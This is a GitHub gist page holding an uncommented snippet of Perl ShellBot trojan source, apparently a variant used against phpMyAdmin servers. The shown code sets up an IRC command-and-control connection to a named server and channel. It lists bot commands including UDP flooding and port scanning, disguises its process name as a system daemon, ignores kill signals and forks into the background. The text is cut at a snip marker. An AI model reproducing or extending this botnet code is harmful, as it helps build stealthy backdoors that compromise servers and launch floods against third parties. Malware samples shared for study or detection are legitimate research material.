Last active
January 1, 2016 06:59
-
-
Save jamesejr/8108446 to your computer and use it in GitHub Desktop.
A snippet of the Perl/ShellBot.B Trojan variant script targeting phpMyAdmin
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
# ShellBOT | |
# | |
# Comenzi: !all | |
# - @udp <ip> <port> <timp>; | |
# - @fullportscan <ip> <start port> <final port>; | |
# - !quit; | |
# - !join <canal> <key> e !part <canal> <reason>; | |
# - !op !deop !voice !devoice <canal> <nick>; | |
# - !msg !ctcp 1 2; | |
# - !invite <canal> <nick>; | |
# - !nick <nick>; | |
# - !rnick; | |
# - !raw 1; | |
########## CONFIGURACAO ############ | |
my $processo = '/usr/sbin/init.d'; | |
$servidor='ircd.myz.info' unless $servidor; | |
my $porta='6667'; | |
my @canais=("#pma"); | |
my @adms=("X"); | |
my @hostauth=("browsing.users.undernet.org"); | |
# Anti Flood ( 6/3 Recomendado ) | |
my $linas_max=6; | |
my $sleep=3; | |
my $nick = getnick(); | |
my $ircname = getident2(); | |
my $realname = "New Generation 2013"; | |
my $acessoshell = 1; | |
######## Stealth ShellBot ########## | |
my $prefixo = "-"; | |
my $estatisticas = 0; | |
my $pacotes = 1; | |
#################################### | |
my $VERSAO = '0.2a'; | |
$SIG{'INT'} = 'IGNORE'; | |
$SIG{'HUP'} = 'IGNORE'; | |
$SIG{'TERM'} = 'IGNORE'; | |
$SIG{'CHLD'} = 'IGNORE'; | |
$SIG{'PS'} = 'IGNORE'; | |
use IO::Socket; | |
use Socket; | |
use IO::Select; | |
chdir("/"); | |
$servidor="$ARGV[0]" if $ARGV[0]; | |
$0="$processo"."\0"; | |
my $pid=fork; | |
exit if $pid; | |
die "mort: $!" unless defined($pid); | |
my %irc_servers; | |
my %DCC; | |
my $dcc_sel = new IO::Select->new(); | |
##################### | |
# Stealth Shellbot # | |
##################### | |
sub getnick { | |
#my $retornonick = &_get("http://"); | |
#return $retornonick; | |
return "pm".int(rand(1000)); | |
} | |
# <-- snip --> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment